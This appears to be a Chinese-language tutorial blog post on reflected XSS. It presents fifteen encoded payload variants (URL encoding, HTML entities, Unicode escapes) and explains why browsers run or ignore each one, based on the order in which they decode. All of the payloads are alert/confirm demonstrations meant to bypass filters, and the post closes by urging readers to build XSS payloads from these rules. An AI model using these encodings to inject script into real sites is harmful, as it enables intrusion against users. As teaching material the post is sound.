反射型XSS的几种payload

目录

第一种:采用的是urlcode编码

第二种:前面用html实体编码,后面用urlcode编码

第三种:只对:使用urlcode编码

第四种:对<>进行html实体编码

第五种:textarea

第六种:和第五种一样

第七种:对'进行html实体编码

第八种:对'进行Unicode编码

第九种:对alert(9)进行html实体编码

第十种:对alert进行Unicode编码

第十一种:对alert(11)进行Unicode编码

第十二种:对alert和12进行Unicode编码

第十三种:对'进行Unicode编码

第十四种:在以下位置Unicode编码一个换行符\n

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码

总结:


第一种:采用的是urlcode编码

这里编码的就是javascript:alert(1)

复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

可以发现并没有执行。因为在href里面不认识urlcode编码后的协议

第二种:前面用html实体编码,后面用urlcode编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

由于先进行html实体编码后变成:

复制代码
<a href="javascript:%61%6c%65%72%74%28%32%29">

再进行url解码就可以识别javascript协议

第三种:只对:使用urlcode编码
复制代码
<a href="javascript%3aalert(3)"></a>

同1,:冒号算协议一部分。

第四种:对<>进行html实体编码
复制代码
<div>&#60;img src=x onerror=alert(4)&#62;</div>

当进入数据状态中的字符引用时,确实可以将编码字符进行解码,但不会进入标签开始状态。所以html把它当成一个字符串,可以展示,但无法执行。

第五种:textarea
复制代码
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

因为<textarea>RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素

第六种:和第五种一样
复制代码
<textarea><script>alert(6)</script></textarea>
第七种:对'进行html实体编码
复制代码
<button onclick="confirm('7&#39;);">Button</button>

这里的inclick与a标签的href差不多,可以被html解码。所以执行成功了

第八种:对'进行Unicode编码
复制代码
<button onclick="confirm('8\u0027);">Button</button>

执行失败,因为onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行

第九种:对alert(9)进行html实体编码
复制代码
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

由于script属于原始文本元素(Raw text elements),只可以容纳文本 ,注意没有字符引用,于是直接由JS处理,JS也认不出来,所以执行失败。

原始文本元素(Raw text elements)有<script><style>。

第十种:对alert进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

因为只有标识符,所以JS可以识别执行。

第十一种:对alert(11)进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

因为JS中只有字符串和标识符能用Unicode表示,所以执行失败。

第十二种:对alert和12进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

执行失败,虽然这里可以被解码,但是12被解码出来是字符串,需要引号包含。

第十三种:对'进行Unicode编码
复制代码
<script>alert('13\u0027)</script>

肯定执行失败,同8

第十四种:在以下位置Unicode编码一个换行符\n
复制代码
<script>alert('14\u000a')</script>

执行成功。

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

符合web的解码顺序,所以可以被执行。

总结:
  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作

  2. <textarea><title>里会有HTML解码操作,但不会有子元素

  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作

  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII

  5. JavaScript会对字符串和标识符Unicode解码

根据浏览器的自动解码,反向构造 XSS Payload 即可

相关推荐
一个专注写代码的程序媛34 分钟前
vue组件间通信
前端·javascript·vue.js
一笑code44 分钟前
美团社招一面
前端·javascript·vue.js
懒懒是个程序员1 小时前
layui时间范围
前端·javascript·layui
NoneCoder1 小时前
HTML响应式网页设计与跨平台适配
前端·html
凯哥19701 小时前
在 Uni-app 做的后台中使用 Howler.js 实现强大的音频播放功能
前端
烛阴1 小时前
面试必考!一招教你区分JavaScript静态函数和普通函数,快收藏!
前端·javascript
GetcharZp1 小时前
xterm.js 终端神器到底有多强?用了才知道!
前端·后端·go
JiangJiang1 小时前
🚀 React 弹窗还能这样写?手撸一个高质量 Modal 玩起来!
前端·javascript·react.js
吃炸鸡的前端2 小时前
el-transfer穿梭框数据量过大的解决方案
前端·javascript
高德开放平台2 小时前
文末有奖|高德MCP 2.0 出行领域首发打通大模型与高德地图APP互联
前端